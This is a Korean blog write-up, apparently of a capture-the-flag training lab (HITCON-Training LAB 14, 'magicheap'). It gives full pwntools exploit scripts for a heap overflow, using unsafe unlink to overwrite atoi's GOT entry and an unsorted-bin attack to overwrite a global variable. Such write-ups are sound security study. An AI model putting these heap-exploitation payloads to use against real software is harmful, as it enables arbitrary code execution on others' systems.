ghkdtlwns987

[hitcon_traininig] LAB 14 (magicheap) 본문

hitcon_training

[hitcon_traininig] LAB 14 (magicheap)

2020/03/31 2020. 9. 21. 18:35
from pwn import*

context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./magicheap')
elf = ELF('./magicheap')

def info_log():
        log.info('create_heap : main + 173')
        log.info('edit_heap : main + 185')
        log.info('delete_heap : main + 197')
        log.info('heaparray : 0x6020e0')
        pause()
def create(size,content):
        log.info('create')

        r.sendlineafter('choice :','1')
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap:',str(content))
        r.recvuntil('SuccessFul\n')

        pause()
def edit(index,size,content):
        log.info('edit')

        r.sendlineafter('choice :','2')
        r.sendlineafter('Index :',str(index))
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap : ',str(content))
        r.recvuntil('Done !\n')

        pause()
        
def delete(index):
        log.info('delete')

        r.sendlineafter('choice :','3')
        r.sendlineafter('Index :',str(index))
        r.recvuntil('Done !\n')

        pause()
def main():
        heaparray = 0x6020e0
        atoi_got = elf.got['atoi']
        magic = elf.symbols['l33t']
        info_log()
        create(0x80,'A'*8)
        create(0x80,'B'*8)
        create(0x80,'C'*8)

        payload = ''
        payload += p64(0)
        payload += p64(0)
        payload += p64(heaparray - 24)
        payload += p64(heaparray - 16)
        payload += 'A'*96
        payload += p64(0x80)
        payload += p64(0x90)


        edit(0,len(payload),payload)

        delete(1)

        payload = ''
        payload += 'C'*24
        payload += p64(atoi_got)

        edit(0,len(payload),payload)
        edit(0,8,p64(magic))

        r.interactive()

if __name__ == '__main__':
        main()

​

코드는 다음과 같다. 

만약 unsafe_unlink 에 대해 이해를 하고 있으면 이 코드를 보면 unlink 를 이용해 풀 수도 있다는 것을 알아챘을 것이다. 

 

난 이 문제를 unsorted bin 으로 한번 Exploit 해봤고, unlink 를 통해서도 해봤다. 

결과는 둘 다 성공했다.

 

먼저, ulink 같은 경우는 heap 이 전역변수에서 관리 되고, create_heap() 에서 내가 입력한 만큼 size가 할당이 되고, 

edit_heap() 함수에서 내가 원하는대로 heap() 을 변경할 수 있기 때문에, 적적히 chunk 를 조작해 Exploit 해 줄수 있다.

 

저번에 unlink 에 대해 다루었으므로 어떻게 풀었는지는 건너뛰도록 하겠다.

from pwn import*

context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./magicheap')
elf = ELF('./magicheap')

def info_log():
        log.info('create_heap : main + 173')
        log.info('edit_heap : main + 185')
        log.info('delete_heap : main + 197')
        log.info('heaparray : 0x6020e0')
        pause()
        
def create(size,content):
        log.info('create')

        r.sendlineafter('choice :','1')
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap:',str(content))
        r.recvuntil('SuccessFul\n')

        pause()
        
def edit(index,size,content):
        log.info('edit')

        r.sendlineafter('choice :','2')
        r.sendlineafter('Index :',str(index))
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap : ',str(content))
        r.recvuntil('Done !\n')

        pause()
        
def delete(index):
        log.info('delete')

        r.sendlineafter('choice :','3')
        r.sendlineafter('Index :',str(index))
        r.recvuntil('Done !\n')

        pause()
        
def main():
        heaparray = 0x6020e0
        atoi_got = elf.got['atoi']
        magic = elf.symbols['l33t']
        info_log()
        create(0x80,'A'*8)
        create(0x80,'B'*8)
        create(0x80,'C'*8)

        payload = ''
        payload += p64(0)
        payload += p64(0)
        payload += p64(heaparray - 24)
        payload += p64(heaparray - 16)
        payload += 'A'*96
        payload += p64(0x80)
        payload += p64(0x90)


        edit(0,len(payload),payload)

        delete(1)

        payload = ''
        payload += 'C'*24
        payload += p64(atoi_got)

        edit(0,len(payload),payload)
        edit(0,8,p64(magic))

        r.interactive()

if __name__ == '__main__':
        main()

다음은 unlink Exploit 코드이다. 

난 heaparray 에 atoi_got 를 주고, atoi_got 에 magic(l33t) 함수를 덮어주었다.

 

 

2. Unsorted bin 풀이.

이번엔 Unsorted bin 으로 문제를 풀어보았다.

Unsorted bin 은 fastbin 이 아니라면(small, large bin...) fd 와 bk 에 main_arena + 88 값이 들어간다. 

 

그림을 보며 이해하도록 하자.

먼저 4개의 힙을 만들었다.

그리고 small bin 크기의 힙(index2, index0) 을 차례대로 free() 한다고 가정해보자. 

다음과 같이 될 것이다. unsorted bin 은 unsorted bin 끼리 서로 fd 와 bk를 연결한다. 

다음으로 edit 함수로 index 1 의 heap을 수정해보겠다.

bk = magic - 0x10 을 해 준 이유는 magic-0x10 을 해야 magic 값에 값을 쓸 수 있기 때문이다.

 

마지막으로 create_heap을 한다면 magic 변수에 값을 쓸 수 있다.

 

증명하기 위해 gdb로 보여주고 마치겠다.

4개의 chunk 할당

 

delete(2) delete(1)
edit(1)

 

create_heap(128)

성공이다.

from pwn import*

context(arch='amd64',os='linux')
context.log_level = 'debug'
context.terminal = ['tmux','splitw','-h']

r = process('./magicheap')
elf = ELF('./magicheap')
gdb.attach(r)

def info_log():
        log.info('create_heap : main + 173')
        log.info('edit_heap : main + 185')
        log.info('delete_heap : main + 197')
        log.info('heaparray : 0x6020e0')
        pause()
def create(size,content):
        r.sendlineafter('choice :','1')
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap:',str(content))
        r.recvuntil('SuccessFul\n')

        pause()

def edit(index,size,content):
        log.info('edit')
        r.sendlineafter('choice :','2')
        r.sendlineafter('Index :',str(index))
        r.sendlineafter('Heap : ',str(size))
        r.sendlineafter('heap : ',str(content))
        r.recvuntil('Done !\n')

        pause()
def delete(index):
        log.info('delete')

        r.sendlineafter('choice :','3')
        r.sendlineafter('Index :',str(index))
        r.recvuntil('Done !\n')

        pause()
def main():
        magic = elf.symbols['magic']

        info_log()

        create(0x80,'A'*8)
        create(0x20,'B'*8)
        create(0x80,'C'*8)
        create(0x20,'D'*8)

        delete(2)
        delete(0)

        payload = ''
        payload += 'E'*0x20
        payload += p64(0)
        payload += p64(0x91)
        payload += p64(0)               #fd
        payload += p64(magic - 0x10)    #bk

        edit(1,len(payload),payload)

        create(0x80,'H'*8)

        r.sendlineafter('choice :',str(4869))

        r.interactive()
if __name__ == '__main__':
        main()

 

+마지막으로.... 

요 근래 2달간 학교 수업진도를 따라가려다 보니 heap공부기간이 너무 길어진거 같다. 분발해야겠다.

'hitcon_training' 카테고리의 다른 글

[hitcon_training] LAB 15 (zoo)  (0) 2020.09.24
[hitcon_training] LAB13 (Extend Chunks)  (0) 2020.09.11
[hitcon_training] lab 12 (secretgarden)  (0) 2020.09.07
[hitcon_training] LAB11 (bamboobox)  (0) 2020.09.06
Comments